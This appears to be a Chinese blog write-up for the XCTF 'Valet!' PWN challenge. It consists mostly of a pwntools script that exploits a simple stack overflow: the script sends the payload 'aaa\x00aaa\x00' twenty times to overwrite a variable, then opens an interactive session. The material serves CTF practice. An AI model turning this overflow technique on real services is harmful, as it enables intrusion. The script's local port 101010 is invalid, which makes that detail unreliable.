攻防世界PWN之valet!題解

Valet!

簡單的棧溢出

#coding:utf8
from pwn import *

#sh = remote('111.198.29.45',43798)

sh = remote('127.0.0.1',101010)

def guess():
   sh.sendlineafter('3. Quit','1')
   #溢出,覆蓋s
   payload = 'aaa\x00aaa\x00'
   sh.sendlineafter('Please enter your guess:',payload)

for i in range(20):
   guess()

sh.sendlineafter('3. Quit','2')


sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章